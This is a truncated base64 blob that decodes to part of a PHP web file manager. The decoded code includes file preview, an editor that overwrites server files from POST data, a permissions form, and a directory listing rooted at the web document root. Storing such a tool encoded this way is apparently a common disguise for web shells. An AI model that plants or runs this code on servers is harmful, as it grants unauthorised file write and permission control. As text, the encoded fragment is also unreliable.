lIGNsYXNzPVwibWF4aGVpZ2h0XCI+JztcclxuICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPFwvYj48YnI+JztcclxuICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JztcclxuICAgICAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICBlY2hvICc8XC9jb2RlPic7XHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICBlY2hvICc8cD5FcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm88XC9wPic7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7XHJcbiAgICAgICAgICAgIFwvXC8gSW1hZ2UgY29udGVudFxyXG4gICAgICAgICAgICBpZiAoaW5fYXJyYXkoJGV4dCwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycpKSkge1xyXG4gICAgICAgICAgICAgICAgZWNobyAnPHA+PGltZyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgYWx0PVwiXCIgY2xhc3M9XCJwcmV2aWV3LWltZ1wiPjxcL3A+JztcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH0gZWxzZWlmICgkaXNfYXVkaW8pIHtcclxuICAgICAgICAgICAgXC9cLyBBdWRpbyBjb250ZW50XHJcbiAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvYXVkaW8+PFwvcD4nO1xyXG4gICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHtcclxuICAgICAgICAgICAgXC9cLyBWaWRlbyBjb250ZW50XHJcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9XCJwcmV2aWV3LXZpZGVvXCI+PHZpZGVvIHNyYz1cIicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICdcIiB3aWR0aD1cIjY0MFwiIGhlaWdodD1cIjM2MFwiIGNvbnRyb2xzIHByZWxvYWQ9XCJtZXRhZGF0YVwiPjxcL3ZpZGVvPjxcL2Rpdj4nO1xyXG4gICAgICAgIH0gZWxzZWlmICgkaXNfdGV4dCkge1xyXG4gICAgICAgICAgICBpZiAoRk1fVVNFX0hJR0hMSUdIVEpTKSB7XHJcbiAgICAgICAgICAgICAgICBcL1wvIGhpZ2hsaWdodFxyXG4gICAgICAgICAgICAgICAgJGhsanNfY2xhc3NlcyA9IGFycmF5KFxyXG4gICAgICAgICAgICAgICAgICAgICdzaHRtbCcgPT4gJ3htbCcsXHJcbiAgICAgICAgICAgICAgICAgICAgJ2h0YWNjZXNzJyA9PiAnYXBhY2hlJyxcclxuICAgICAgICAgICAgICAgICAgICAncGh0bWwnID0+ICdwaHAnLFxyXG4gICAgICAgICAgICAgICAgICAgICdsb2NrJyA9PiAnanNvbicsXHJcbiAgICAgICAgICAgICAgICAgICAgJ3N2ZycgPT4gJ3htbCcsXHJcbiAgICAgICAgICAgICAgICApO1xyXG4gICAgICAgICAgICAgICAgJGhsanNfY2xhc3MgPSBpc3NldCgkaGxqc19jbGFzc2VzWyRleHRdKSA/ICdsYW5nLScgLiAkaGxqc19jbGFzc2VzWyRleHRdIDogJ2xhbmctJyAuICRleHQ7XHJcbiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJGV4dCkgfHwgaW5fYXJyYXkoc3RydG9sb3dlcigkZmlsZSksIGZtX2dldF90ZXh0X25hbWVzKCkpIHx8IHByZWdfbWF0Y2goJyNcXC5taW5cXC4oY3NzfGpzKSQjaScsICRmaWxlKSkge1xyXG4gICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gJ25vaGlnaGxpZ2h0JztcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgICRjb250ZW50ID0gJzxwcmUgY2xhc3M9XCJ3aXRoLWhsanNcIj48Y29kZSBjbGFzcz1cIicgLiAkaGxqc19jbGFzcyAuICdcIj4nIC4gZm1fZW5jKCRjb250ZW50KSAuICc8XC9jb2RlPjxcL3ByZT4nO1xyXG4gICAgICAgICAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgYXJyYXkoJ3BocCcsICdwaHA0JywgJ3BocDUnLCAncGh0bWwnLCAncGhwcycpKSkge1xyXG4gICAgICAgICAgICAgICAgXC9cLyBwaHAgaGlnaGxpZ2h0XHJcbiAgICAgICAgICAgICAgICAkY29udGVudCA9IGhpZ2hsaWdodF9zdHJpbmcoJGNvbnRlbnQsIHRydWUpO1xyXG4gICAgICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAnPHByZT4nIC4gZm1fZW5jKCRjb250ZW50KSAuICc8XC9wcmU+JztcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICBlY2hvICRjb250ZW50O1xyXG4gICAgICAgIH1cclxuICAgICAgICA/PlxyXG4gICAgPFwvZGl2PlxyXG4gICAgPD9waHBcclxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XHJcbiAgICBleGl0O1xyXG59XHJcblxyXG5cL1wvIGZpbGUgZWRpdG9yXHJcbmlmIChpc3NldCgkX0dFVFsnZWRpdCddKSkge1xyXG4gICAgJGZpbGUgPSAkX0dFVFsnZWRpdCddO1xyXG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcclxuICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICRmaWxlKTtcclxuICAgIGlmICgkZmlsZSA9PSAnJyB8fCAhaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcclxuICAgICAgICBmbV9zZXRfbXNnKCdGaWxlIG5vdCBmb3VuZCcsICdlcnJvcicpO1xyXG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpO1xyXG4gICAgfVxyXG5cclxuICAgIGZtX3Nob3dfaGVhZGVyKCk7IFwvXC8gSEVBREVSXHJcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyBcL1wvIGN1cnJlbnQgcGF0aFxyXG5cclxuICAgICRmaWxlX3VybCA9IEZNX1JPT1RfVVJMIC4gZm1fY29udmVydF93aW4oKEZNX1BBVEggIT0gJycgPyAnXC8nIC4gRk1fUEFUSCA6ICcnKSAuICdcLycgLiAkZmlsZSk7XHJcbiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XHJcblxyXG4gICAgXC9cL25vcm1hbCBlZGl0ZXJcclxuICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7XHJcbiAgICBpZihpc3NldCgkX0dFVFsnZW52J10pKSB7XHJcbiAgICAgICAgaWYoJF9HRVRbJ2VudiddID09IFwiYWNlXCIpIHtcclxuICAgICAgICAgICAgJGlzTm9ybWFsRWRpdG9yID0gZmFsc2U7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIFwvXC9TYXZlIEZpbGVcclxuICAgIGlmKGlzc2V0KCRfUE9TVFsnc2F2ZWRhdGEnXSkpIHtcclxuICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydzYXZlZGF0YSddO1xyXG4gICAgICAgICRmZD1mb3BlbigkZmlsZV9wYXRoLFwid1wiKTtcclxuICAgICAgICBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7XHJcbiAgICAgICAgZmNsb3NlKCRmZCk7XHJcbiAgICAgICAgZm1fc2V0X21zZygnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknLCAnYWxlcnQnKTtcclxuICAgIH1cclxuXHJcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcclxuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xyXG4gICAgJGZpbGVzaXplID0gZmlsZXNpemUoJGZpbGVfcGF0aCk7XHJcbiAgICAkaXNfdGV4dCA9IGZhbHNlO1xyXG4gICAgJGNvbnRlbnQgPSAnJzsgXC9cLyBmb3IgdGV4dFxyXG5cclxuICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcclxuICAgICAgICAkaXNfdGV4dCA9IHRydWU7XHJcbiAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTtcclxuICAgIH1cclxuXHJcbiAgICA/PlxyXG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cclxuICAgICAgICA8ZGl2IGNsYXNzPVwiZWRpdC1maWxlLWFjdGlvbnNcIj5cclxuICAgICAgICAgICAgPGEgdGl0bGU9XCJDYW5jZWxcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO3ZpZXc9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1yZXBseS1hbGxcIj48XC9pPiBDYW5jZWw8XC9hPlxyXG4gICAgICAgICAgICA8YSB0aXRsZT1cIkJhY2t1cFwiIGhyZWY9XCJqYXZhc2NyaXB0OmJhY2t1cCgnPD9waHAgZWNobyB1cmxlbmNvZGUoJHBhdGgpID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+JylcIj48aSBjbGFzcz1cImZhIGZhLWRhdGFiYXNlXCI+PFwvaT4gQmFja3VwPFwvYT5cclxuICAgICAgICAgICAgPD9waHAgaWYoJGlzX3RleHQpIHsgPz5cclxuICAgICAgICAgICAgICAgIDw/cGhwIGlmKCRpc05vcm1hbEVkaXRvcikgeyA/PlxyXG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiQWR2YW5jZWRcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO2VkaXQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+JmFtcDtlbnY9YWNlXCI+PGkgY2xhc3M9XCJmYSBmYS1wYXBlci1wbGFuZVwiPjxcL2k+IEFkdmFuY2VkIEVkaXRvcjxcL2E+XHJcbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwiYnV0dG9uXCIgbmFtZT1cIlNhdmVcIiBkYXRhLXVybD1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlX3VybCkgPz5cIiBvbmNsaWNrPVwiZWRpdF9zYXZlKHRoaXMsJ25ybCcpXCI+PGkgY2xhc3M9XCJmYSBmYS1mbG9wcHktb1wiPjxcL2k+IFNhdmU8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICA8P3BocCB9IGVsc2UgeyA/PlxyXG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiUGxhaW4gRWRpdG9yXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtdGV4dC1oZWlnaHRcIj48XC9pPiBQbGFpbiBFZGl0b3I8XC9hPlxyXG4gICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIG5hbWU9XCJTYXZlXCIgZGF0YS11cmw9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgb25jbGljaz1cImVkaXRfc2F2ZSh0aGlzLCdhY2UnKVwiPjxpIGNsYXNzPVwiZmEgZmEtZmxvcHB5LW9cIj48XC9pPiBTYXZlPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgPD9waHAgfSA/PlxyXG4gICAgICAgICAgICA8P3BocCB9ID8+XHJcbiAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgIDw/cGhwXHJcbiAgICAgICAgaWYgKCRpc190ZXh0ICYmICRpc05vcm1hbEVkaXRvcikge1xyXG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgaWQ9XCJub3JtYWwtZWRpdG9yXCIgcm93cz1cIjMzXCIgY29scz1cIjEyMFwiIHN0eWxlPVwid2lkdGg6IDk5LjUlO1wiPicuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4nPFwvdGV4dGFyZWE+JztcclxuICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHtcclxuICAgICAgICAgICAgZWNobyAnPGRpdiBpZD1cImVkaXRvclwiIGNvbnRlbnRlZGl0YWJsZT1cInRydWVcIj4nLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuJzxcL2Rpdj4nO1xyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgIGZtX3NldF9tc2coJ0ZJTEUgRVhURU5TSU9OIEhBUyBOT1QgU1VQUE9SVEVEJywgJ2Vycm9yJyk7XHJcbiAgICAgICAgfVxyXG4gICAgICAgID8+XHJcbiAgICA8XC9kaXY+XHJcbiAgICA8P3BocFxyXG4gICAgZm1fc2hvd19mb290ZXIoKTtcclxuICAgIGV4aXQ7XHJcbn1cclxuXHJcblwvXC8gY2htb2QgKG5vdCBmb3IgV2luZG93cylcclxuaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikge1xyXG4gICAgJGZpbGUgPSAkX0dFVFsnY2htb2QnXTtcclxuICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XHJcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XHJcbiAgICBpZiAoJGZpbGUgPT0gJycgfHwgKCFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSAmJiAhaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkpIHtcclxuICAgICAgICBmbV9zZXRfbXNnKCdGaWxlIG5vdCBmb3VuZCcsICdlcnJvcicpO1xyXG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpO1xyXG4gICAgfVxyXG5cclxuICAgIGZtX3Nob3dfaGVhZGVyKCk7IFwvXC8gSEVBREVSXHJcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyBcL1wvIGN1cnJlbnQgcGF0aFxyXG5cclxuICAgICRmaWxlX3VybCA9IEZNX1JPT1RfVVJMIC4gKEZNX1BBVEggIT0gJycgPyAnXC8nIC4gRk1fUEFUSCA6ICcnKSAuICdcLycgLiAkZmlsZTtcclxuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcclxuXHJcbiAgICAkbW9kZSA9IGZpbGVwZXJtcygkcGF0aCAuICdcLycgLiAkZmlsZSk7XHJcblxyXG4gICAgPz5cclxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XHJcbiAgICAgICAgPHA+PGI+PD9waHAgZWNobyAnQ2hhbmdlIFBlcm1pc3Npb25zJzsgPz48XC9iPjxcL3A+XHJcbiAgICAgICAgPHA+XHJcbiAgICAgICAgICAgIDw/cGhwIGVjaG8gJ0Z1bGwgcGF0aDonOyA/PiA8P3BocCBlY2hvICRmaWxlX3BhdGggPz48YnI+XHJcbiAgICAgICAgPFwvcD5cclxuICAgICAgICA8Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCI+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImNobW9kXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZSkgPz5cIj5cclxuXHJcbiAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cImNvbXBhY3QtdGFibGVcIj5cclxuICAgICAgICAgICAgICAgIDx0cj5cclxuICAgICAgICAgICAgICAgICAgICA8dGQ+PFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgPHRkPjxiPk93bmVyPFwvYj48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+R3JvdXA8XC9iPjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgIDx0ZD48Yj5PdGhlcjxcL2I+PFwvdGQ+XHJcbiAgICAgICAgICAgICAgICA8XC90cj5cclxuICAgICAgICAgICAgICAgIDx0cj5cclxuICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPlJlYWQ8XC9iPjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1clwiIHZhbHVlPVwiMVwiPD9waHAgZWNobyAoJG1vZGUgJiAwMDQwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImdyXCIgdmFsdWU9XCIxXCI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDQwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48XC9sYWJlbD48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwib3JcIiB2YWx1ZT1cIjFcIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgPFwvdHI+XHJcbiAgICAgICAgICAgICAgICA8dHI+XHJcbiAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogcmlnaHRcIj48Yj5Xcml0ZTxcL2I+PFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInV3XCIgdmFsdWU9XCIxXCI8P3BocCBlY2hvICgkbW9kZSAmIDAwMjAwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48XC9sYWJlbD48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZ3dcIiB2YWx1ZT1cIjFcIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMjApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJvd1wiIHZhbHVlPVwiMVwiPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XHJcbiAgICAgICAgICAgICAgICA8XC90cj5cclxuICAgICAgICAgICAgICAgIDx0cj5cclxuICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPkV4ZWN1dGU8XC9iPjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1eFwiIHZhbHVlPVwiMVwiPD9waHAgZWNobyAoJG1vZGUgJiAwMDEwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImd4XCIgdmFsdWU9XCIxXCI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDEwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48XC9sYWJlbD48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwib3hcIiB2YWx1ZT1cIjFcIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgPFwvdHI+XHJcbiAgICAgICAgICAgIDxcL3RhYmxlPlxyXG5cclxuICAgICAgICAgICAgPHA+XHJcbiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gQ2hhbmdlPFwvYnV0dG9uPiAmbmJzcDtcclxuICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxyXG4gICAgICAgICAgICA8XC9wPlxyXG5cclxuICAgICAgICA8XC9mb3JtPlxyXG5cclxuICAgIDxcL2Rpdj5cclxuICAgIDw/cGhwXHJcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xyXG4gICAgZXhpdDtcclxufVxyXG5cclxuXC9cLy0tLSBGSUxFTUFOQUdFUiBNQUlOXHJcbmZtX3Nob3dfaGVhZGVyKCk7IFwvXC8gSEVBREVSXHJcbmZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IFwvXC8gY3VycmVudCBwYXRoXHJcblxyXG5cL1wvIG1lc3NhZ2VzXHJcbmZtX3Nob3dfbWVzc2FnZSgpO1xyXG5cclxuJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7XHJcbiRudW1fZm9sZGVycyA9IGNvdW50KCRmb2xkZXJzKTtcclxuJGFsbF9maWxlc19zaXplID0gMDtcclxuPz5cclxuPGZvcm0gYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiPlxyXG48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxyXG48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJncm91cFwiIHZhbHVlPVwiMVwiPlxyXG48P3BocCBpZihGTV9UUkVFVklFVykgeyA/PlxyXG48ZGl2IGNsYXNzPVwiZmlsZS10cmVlLXZpZXdcIiBpZD1cImZpbGUtdHJlZS12aWV3XCI+XHJcbiAgICA8ZGl2IGNsYXNzPVwidHJlZS10aXRsZVwiPkJyb3dzZTxcL2Rpdj5cclxuPD9waHBcclxuXC9cL2ZpbGUgdHJlIHZpZXdcclxuICAgIGVjaG8gcGhwX2ZpbGVfdHJlZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCBcImphdmFzY3JpcHQ6YWxlcnQoJ1lvdSBjbGlja2VkIG9uIFtsaW5rXScpO1wiKTtcclxuPz5cclxuPFwvZGl2PlxyXG48P3BocCB9ID8+XHJcbjx0YWJsZSBjbGFzcz1cInRhYmxlXCIgaWQ9XCJtYWluLXRhYmxlXCI+PHRoZWFkPjx0cj5cclxuPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PHRoIHN0eWxlPVwid2lkdGg6MyVcIj48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIHRpdGxlPVwiSW52ZXJ0IHNlbGVjdGlvblwiIG9uY2xpY2s9XCJjaGVja2JveF90b2dnbGUoKVwiPjxcL2xhYmVsPjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxyXG48dGg+TmFtZTxcL3RoPjx0aCBzdHlsZT1cIndpZHRoOjEwJVwiPlNpemU8XC90aD5cclxuPHRoIHN0eWxlPVwid2lkdGg6MTIlXCI+TW9kaWZpZWQ8XC90aD5cclxuPD9waHAgaWYgKCFGTV9JU19XSU4pOiA/Pjx0aCBzdHlsZT1cIndpZHRoOjYlXCI+UGVybXM8XC90aD48dGggc3R5bGU9XCJ3aWR0aDoxMCVcIj5Pd25lcjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxyXG48dGggc3R5bGU9XCJ3aWR0aDo8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4xMzw/cGhwIGVsc2U6ID8+Ni41PD9waHAgZW5kaWY7ID8+JVwiPkFjdGlvbnM8XC90aD48XC90cj48XC90aGVhZD5cclxuPD9waHBcclxuXC9cLyBsaW5rIHRvIHBhcmVudCBmb2xkZXJcclxuaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7XHJcbiAgICA/PlxyXG48dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PHRkPjxcL3RkPjw/cGhwIGVuZGlmOyA/Pjx0ZCBjb2xzcGFuPVwiPD9waHAgZWNobyAhRk1fSVNfV0lOID8gJzYnIDogJzQnID8+XCI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRwYXJlbnQpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0XCI+PFwvaT4gLi48XC9hPjxcL3RkPjxcL3RyPlxyXG48P3BocFxyXG59XHJcbmZvcmVhY2ggKCRmb2xkZXJzIGFzICRmKSB7XHJcbiAgICAkaXNfbGluayA9IGlzX2xpbmsoJHBhdGggLiAnXC8nIC4gJGYpO1xyXG4gICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJztcclxuICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpKTtcclxuICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcclxuICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XHJcbiAgICAgICAgJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRwYXRoIC4gJ1wvJyAuICRmKSk7XHJcbiAgICAgICAgJGdyb3VwID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKSk7XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgICRvd25lciA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xyXG4gICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xyXG4gICAgfVxyXG4gICAgPz5cclxuPHRyPlxyXG48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj48XC9sYWJlbD48XC90ZD48P3BocCBlbmRpZjsgPz5cclxuPHRkPjxkaXYgY2xhc3M9XCJmaWxlbmFtZVwiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnXC8nIC4gJGYsICdcLycpKSA/PlwiPjxpIGNsYXNzPVwiPD9waHAgZWNobyAkaW1nID8+XCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbigkZikgPz48XC9hPjw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJ1wvJyAuICRmKSAuICc8XC9pPicgOiAnJykgPz48XC9kaXY+PFwvdGQ+XHJcbjx0ZD5Gb2xkZXI8XC90ZD48dGQ+PD9waHAgZWNobyAkbW9ka